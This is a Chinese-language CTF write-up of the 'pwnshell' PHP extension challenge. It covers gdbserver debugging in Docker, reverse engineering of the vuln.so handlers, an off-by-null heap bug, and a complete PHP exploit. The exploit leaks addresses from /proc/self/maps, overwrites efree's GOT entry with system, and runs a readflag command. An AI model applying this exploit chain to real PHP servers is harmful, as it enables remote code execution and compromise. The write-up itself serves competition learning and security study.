pwnshell 复现 (php pwn)
如何调试?
php pwn该如何调试?在docker中装一个gdbserver,用gdbserver起一个程序,在exp中用能触发io中断的php函数打”断点”,之后用gdb连上去后在vuln.so里打个断点就好了
能触发io中断的函数,比如说fgetc
1 2 3 4
| <?php $char = fgetc(STDIN); echo "You entered: $char\n"; ?>
|
在pwnshell这个题目中php配置文件里禁用了fgetc这个函数,修改php.ini中的disable_functions,把fgetc删掉就可以使用这个函数了
调试相关的命令
安装gdbserver
只需要在dockerfile里面加上安装的参数,之后构建镜像就好了
1 2 3 4 5 6 7 8 9 10 11 12 13
| FROM php:8.3-apache
RUN DEBIAN_FRONTEND=noninteractive RUN apt-get update && apt-get install -y vim gdbserver
COPY ./stuff/php.ini /usr/local/etc/php COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831 COPY ./stuff/readflag / COPY ./flag.txt /flag.txt COPY ./stuff/index.php /var/www/html RUN chmod 400 /flag.txt RUN chmod u+sx /readflag RUN chmod -R 777 /var/www/html
|
构建镜像
1
| docker build -t nyyyddddn/pwnshell .
|
开启容器
多映射一个 8888端口用来调试
1
| docker run -d -p 9999:80 -p 8888:8888 nyyyddddn/pwnshell
|
gdbserver的使用
gdbserver开启一个监听
1
| gdbserver :8888 php test.php
|
然后使用gdb连接上去调试
1 2 3
| gdb -q \ -ex "add-symbol-file vuln.so" \ -ex "target remote :8888"
|
之后在vuln.so中打一个断点就好了
1 2 3 4
| pwndbg> b zif_addHacker Breakpoint 1 at 0x1210 pwndbg> c Continuing.
|
如何分析程序逻辑
php module 程序的入口点是get_module 这个函数,会返回一个zend_module_entry结构体指针,这个结构体用来描述要加载的自定义函数地址 和信息,可以通过分析这个结构体知道哪些函数是出题人自定义的函数,再去分析这些函数的逻辑寻址漏洞
https://github.com/php/php-src/blob/master/Zend/zend_modules.h
php8.3中 _zend_module_enrty的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| struct _zend_module_entry { unsigned short size; unsigned int zend_api; unsigned char zend_debug; unsigned char zts; const struct _zend_ini_entry *ini_entry; const struct _zend_module_dep *deps; const char *name; const struct _zend_function_entry *functions; zend_result (*module_startup_func)(INIT_FUNC_ARGS); zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); zend_result (*request_startup_func)(INIT_FUNC_ARGS); zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); const char *version; size_t globals_size; #ifdef ZTS ts_rsrc_id* globals_id_ptr; #else void* globals_ptr; #endif void (*globals_ctor)(void *global); void (*globals_dtor)(void *global); zend_result (*post_deactivate_func)(void); int module_started; unsigned char type; void *handle; int module_number; const char *build_id; };
|
所以 从functions指针跟过去后可以发现出题人自定义的函数有四个,分别是addHacker removeHacker displayHacker editHacker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| .data:000000000000409F 00 db 0 .data:00000000000040A0 03 20 00 00 00 00 00 00 dq offset aVuln ; "vuln" .data:00000000000040A8 60 3D 00 00 00 00 00 00 dq offset off_3D60 ; "addHacker" .data:00000000000040B0 C0 11 00 00 00 00 00 00 dq offset zm_startup_vuln .data:00000000000040B8 00 12 00 00 00 00 00 00 dq offset zm_shutdown_vuln .data:00000000000040C0 00 db 0
.data.rel.ro:0000000000003D60 1E 20 00 00 00 00 00 00 off_3D60 dq offset aAddhacker ; DATA XREF: .data:00000000000040A8↓o .data.rel.ro:0000000000003D60 ; "addHacker" .data.rel.ro:0000000000003D68 10 12 00 00 00 00 00 00 dq offset zif_addHacker .data.rel.ro:0000000000003D70 00 3D 00 00 00 00 00 00 dq offset unk_3D00 .data.rel.ro:0000000000003D78 02 db 2 .data.rel.ro:0000000000003D79 00 db 0 .data.rel.ro:0000000000003D7A 00 db 0 .data.rel.ro:0000000000003D7B 00 db 0 .data.rel.ro:0000000000003D7C 00 db 0 .data.rel.ro:0000000000003D7D 00 db 0 .data.rel.ro:0000000000003D7E 00 db 0 .data.rel.ro:0000000000003D7F 00 db 0 .data.rel.ro:0000000000003D80 28 20 00 00 00 00 00 00 dq offset aRemovehacker ; "removeHacker" .data.rel.ro:0000000000003D88 50 13 00 00 00 00 00 00 dq offset zif_removeHacker .data.rel.ro:0000000000003D90 C0 3C 00 00 00 00 00 00 dq offset unk_3CC0 .data.rel.ro:0000000000003D98 01 db 1 .data.rel.ro:0000000000003D99 00 db 0 .data.rel.ro:0000000000003D9A 00 db 0 .data.rel.ro:0000000000003D9B 00 db 0 .data.rel.ro:0000000000003D9C 00 db 0 .data.rel.ro:0000000000003D9D 00 db 0 .data.rel.ro:0000000000003D9E 00 db 0 .data.rel.ro:0000000000003D9F 00 db 0 .data.rel.ro:0000000000003DA0 35 20 00 00 00 00 00 00 dq offset aDisplayhacker ; "displayHacker" .data.rel.ro:0000000000003DA8 20 15 00 00 00 00 00 00 dq offset zif_displayHacker .data.rel.ro:0000000000003DB0 80 3C 00 00 00 00 00 00 dq offset unk_3C80 .data.rel.ro:0000000000003DB8 01 db 1 .data.rel.ro:0000000000003DB9 00 db 0 .data.rel.ro:0000000000003DBA 00 db 0 .data.rel.ro:0000000000003DBB 00 db 0 .data.rel.ro:0000000000003DBC 00 db 0 .data.rel.ro:0000000000003DBD 00 db 0 .data.rel.ro:0000000000003DBE 00 db 0 .data.rel.ro:0000000000003DBF 00 db 0 .data.rel.ro:0000000000003DC0 43 20 00 00 00 00 00 00 dq offset aEdithacker ; "editHacker" .data.rel.ro:0000000000003DC8 10 14 00 00 00 00 00 00 dq offset zif_editHacker .data.rel.ro:0000000000003DD0 20 3C 00 00 00 00 00 00 dq offset unk_3C20 .data.rel.ro:0000000000003DD8 02 db 2 .data.rel.ro:0000000000003DD9 00 db 0
|
zif_addHacker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| unsigned __int64 __fastcall zif_addHacker(__int64 a1, __int64 a2) { __int64 v2; __int64 v3; __int64 v5; _BYTE *v6; char *v7; _QWORD *v8; void *v9; size_t v10; const void *v11; _BYTE *v12; __int64 v13; _BYTE *arg2; _BYTE *arg1; unsigned __int64 v16;
v3 = *(unsigned int *)(a1 + 44); v16 = __readfsqword(0x28u); if ( (unsigned int)zend_parse_parameters(v3, &unk_2000, &arg1, &arg2) != -1 ) { if ( arg1[8] == 6 && arg2[8] == 6 ) { v5 = 0LL; v6 = (char *)&chunkList + 8; while ( *v6 != 1 ) { ++v5; v6 += 16; if ( v5 == 16 ) goto LABEL_9; } v2 = v5; LABEL_9: v7 = (char *)&chunkList + 16 * v2; v8 = (_QWORD *)_emalloc(*(_QWORD *)(*(_QWORD *)arg2 + 16LL) + 16LL); v9 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)arg1 + 16LL)); *v8 = v9; v10 = *(_QWORD *)(*(_QWORD *)arg1 + 16LL); v11 = (const void *)(*(_QWORD *)arg1 + 24LL); v8[1] = v10; memcpy(v9, v11, v10); v12 = arg2; memcpy(v8 + 2, (const void *)(*(_QWORD *)arg2 + 24LL), *(_QWORD *)(*(_QWORD *)arg2 + 16LL)); v13 = *(_QWORD *)(*(_QWORD *)v12 + 16LL); *(_QWORD *)v7 = v8; *((_DWORD *)v7 + 2) = 13; *((_BYTE *)v8 + v13 + 16) = 0; } else { *(_DWORD *)(a2 + 8) = 1; } } return v16 - __readfsqword(0x28u); }
|
https://github.com/php/php-src/blob/212b2834e9fbcb9a48b9cb709713b6cb197607cc/docs/source/core/data-structures/zval.rst#L23
zend_parse_parameters是一个可变参数函数,用途是根据指定的格式字符串解析和验证传入的参数,并将解析后的值存储在相应的变量中。
1
| ZEND_API zend_result zend_parse_parameters(uint32_t num_args, const char *type_spec, ...);
|
php变量类型的表示方法
https://github.com/php/php-src/blob/212b2834e9fbcb9a48b9cb709713b6cb197607cc/docs/source/core/data-structures/zval.rst#L23
php是一门动态类型语言,变量可以存储任何类型的数据,并且变量的类型可以在程序执行期间发生变化,在zend引擎中变量是由一个叫做zval的结构体去描述的
1
| typedef struct _zval_struct zval;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| struct _zval_struct { zend_value value; union { uint32_t type_info; struct { ZEND_ENDIAN_LOHI_3( uint8_t type, uint8_t type_flags, union { uint16_t extra; } u) } v; } u1; union { uint32_t next; uint32_t cache_slot; uint32_t opline_num; uint32_t lineno; uint32_t num_args; uint32_t fe_pos; uint32_t fe_iter_idx; uint32_t guard; uint32_t constant_flags; uint32_t extra; } u2; };
|
其中关于类型的定义是这样的
1 2 3 4 5 6 7 8 9 10 11
| #define IS_UNDEF 0 #define IS_NULL 1 #define IS_FALSE 2 #define IS_TRUE 3 #define IS_LONG 4 #define IS_DOUBLE 5 #define IS_STRING 6 #define IS_ARRAY 7 #define IS_OBJECT 8 #define IS_RESOURCE 9 #define IS_REFERENCE 10
|
所以从这里可以判断出addhacker这个函数有两个字符串类型的参数
1 2 3
| if ( (unsigned int)zend_parse_parameters(v3, &unk_2000, &arg1, &arg2) != -1 ) { if ( arg1[8] == 6 && arg2[8] == 6 )
|
然后代码中的 arg1 + 0x10 arg1 + 0x18 arg2 + 0x10 arg2 + 0x18调试了一下发现 + 0x10 取字符串的长度,+ 0x18是取字符串的基地址
chunklist的结构是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| pwndbg> x /100gx 0x7d6e061d7160 0x7d6e061d7160 <chunkList>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7170 <chunkList+16>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7180 <chunkList+32>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7190 <chunkList+48>: 0x0000000000000000 0x0000000000000001 0x7d6e061d71a0 <chunkList+64>: 0x0000000000000000 0x0000000000000001 0x7d6e061d71b0 <chunkList+80>: 0x0000000000000000 0x0000000000000001 0x7d6e061d71c0 <chunkList+96>: 0x0000000000000000 0x0000000000000001 0x7d6e061d71d0 <chunkList+112>: 0x0000000000000000 0x0000000000000001 0x7d6e061d71e0 <chunkList+128>: 0x0000000000000000 0x0000000000000001 0x7d6e061d71f0 <chunkList+144>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7200 <chunkList+160>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7210 <chunkList+176>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7220 <chunkList+192>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7230 <chunkList+208>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7240 <chunkList+224>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7250 <chunkList+240>: 0x0000000000000000 0x0000000000000001 0x7d6e061d7260: 0x0000000000000000 0x0000000000000000
|
所以这段代码的用途是在chunklist中找一个可用的空间,然后通过arg1的长度和arg2 + 0x10的长度申请两个堆,把arg1申请出来的堆写到arg2的堆里,最后把通过arg2堆写回chunklist,同时修改chunklist中inuse的标志位
写回chunklist逻辑附近有一个off by null的漏洞
1 2 3 4
| *(_QWORD *)v7 = v8; *((_DWORD *)v7 + 2) = 13; *((_BYTE *)v8 + v13 + 16) = 0; }
|
zif_removeHacker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| unsigned __int64 __fastcall zif_removeHacker(__int64 a1, __int64 a2, __int64 a3, __int64 a4) { __int64 v4; // rdi _DWORD *v6; // rax _QWORD *v7; // rbp __int64 arg1; // [rsp+0h] [rbp-28h] BYREF unsigned __int64 v9; // [rsp+8h] [rbp-20h]
v4 = *(unsigned int *)(a1 + 44); v9 = __readfsqword(0x28u); if ( (unsigned int)zend_parse_parameters(v4, &unk_2001, &arg1, a4) != -1 ) { if ( *(_BYTE *)(arg1 + 8) != 4 || (v6 = &chunkList[4 * *(_QWORD *)arg1], *((_BYTE *)v6 + 8) == 1) || *(_QWORD *)arg1 > 0xFuLL ) { *(_DWORD *)(a2 + 8) = 1; } else { v7 = *(_QWORD **)v6; _efree(**(_QWORD **)v6); _efree(v7); chunkList[4 * *(_QWORD *)arg1 + 2] = 1; } } return v9 - __readfsqword(0x28u); }
|
removeHacker只有一个整型参数idx, 传递idx过去后会根据idx去chunklist中找到arg2堆,然后再根据arg2堆的内容找到arg1堆最后free掉两个堆,同时修改chunlist中的inuse标志位
zif_editHacker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| void *__fastcall zif_editHacker(__int64 a1, __int64 a2) { __int64 v2; char *v4; void **v5; void *v6; size_t v7; void *v8; __int64 v9; _BYTE *v10; unsigned __int64 v11;
v2 = *(unsigned int *)(a1 + 44); v11 = __readfsqword(0x28u); if ( (unsigned int)zend_parse_parameters(v2, &unk_2000, &v9, &v10) == -1 ) return (void *)(v11 - __readfsqword(0x28u)); if ( *(_BYTE *)(v9 + 8) != 4 || v10[8] != 6 || (v4 = (char *)&chunkList + 16 * *(_QWORD *)v9, v4[8] == 1) || *(_QWORD *)v9 > 0xFuLL ) { *(_DWORD *)(a2 + 8) = 1; return (void *)(v11 - __readfsqword(0x28u)); } v5 = *(void ***)v4; v6 = **(void ***)v4; v7 = *(_QWORD *)(*(_QWORD *)v10 + 16LL); if ( v7 <= *(_QWORD *)(*(_QWORD *)v4 + 8LL) ) { memcpy(v6, (const void *)(*(_QWORD *)v10 + 24LL), v7); return (void *)(v11 - __readfsqword(0x28u)); } _efree(v6); v8 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)v10 + 16LL)); *v5 = v8; return memcpy(v8, (const void *)(*(_QWORD *)v10 + 24LL), *(_QWORD *)(*(_QWORD *)v10 + 16LL)); }
|
edithacker函数的用途是编辑和更新指定索引的 chunk 数据,如果新数据小于或等于当前 chunk 的大小则直接覆盖,否则重新分配内存并复制新数据
zif_displayHacker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| unsigned __int64 __fastcall zif_displayHacker(__int64 a1, __int64 a2, __int64 a3, __int64 a4) { __int64 v4; char *v6; const char *v7; size_t v8; _QWORD *v9; __int64 v10; unsigned __int64 v11;
v4 = *(unsigned int *)(a1 + 44); v11 = __readfsqword(0x28u); if ( (unsigned int)zend_parse_parameters(v4, &unk_2001, &v10, a4) != -1 ) { if ( *(_BYTE *)(v10 + 8) != 4 || (v6 = (char *)&chunkList + 16 * *(_QWORD *)v10, v6[8] == 1) || *(_QWORD *)v10 > 0xFuLL ) { *(_DWORD *)(a2 + 8) = 1; } else { v7 = **(const char ***)v6; v8 = strlen(v7); v9 = (_QWORD *)_emalloc((v8 + 32) & 0xFFFFFFFFFFFFFFF8LL); *v9 = 0x1600000001LL; v9[1] = 0LL; v9[2] = v8; memcpy(v9 + 3, v7, v8); *((_BYTE *)v9 + v8 + 24) = 0; *(_QWORD *)a2 = v9; *(_DWORD *)(a2 + 8) = 262; } } return v11 - __readfsqword(0x28u); }
|
displahacker函数的用途是根据指定索引从chunklist中获取对应chunk的数据,然后返回一个对应的字符串对象
exp
https://a1ex.online/2021/03/06/2021-antCTF/
https://qanux.github.io/2024/04/29/d3ctf2024/index.html#PwnShell
通过linux 伪文件系统泄露libc基地址和模块基地址后,通过堆风水破坏free list构造任意地址写的原语,将 efree的got表覆盖成system,之后去free一个内容为 binsh的堆就好了,不过php pwn不能直接getshell,得反弹shell或者是用readflag把 flag读出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <?php function str2Hex($str) { $hex = ""; for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i])); $hex = strtoupper($hex); return $hex; }
function int2Str($i, $x = 8) { $re = ""; for ($j = 0; $j < $x; $j++) { $re .= pack('C', $i & 0xff); $i >>= 8; } return $re; }
function leakaddr($buffer){ global $libc,$mbase; $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/'; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/'; preg_match_all($p, $buffer, $libc); preg_match_all($p1, $buffer, $mbase); return ""; }
$libc=""; $mbase="";
ob_start("leakaddr"); include("/proc/self/maps"); $buffer = ob_get_contents(); ob_end_flush(); leakaddr($buffer); $libc_base = hexdec($libc[1][0]); $mod_base = hexdec($mbase[1][0]);
$system_addr = 0x4c490; $efree_got = 0x4038;
$a = str_repeat("a", 0x40); $b = str_repeat("b", 0x3f);
for ($i = 1; $i < 0xe; $i++) { $n = 0x61 + $i; $aa = pack("C", $n); $aaa = str_repeat($aa, 0x40); addHacker($aaa, $b); }
$cmd = "/readflag > /var/www/html/flag.txt\x00"; editHacker(0,$cmd);
removeHacker(7); $c = str_repeat("c", 0x40); addHacker($a, $c);
removeHacker(6); editHacker(8, int2str($mod_base+$efree_got));
addHacker($a, $b); $payload = str_repeat(int2str($libc_base+$system_addr),8);
addHacker($payload, $b);
removeHacker(0); ?>
|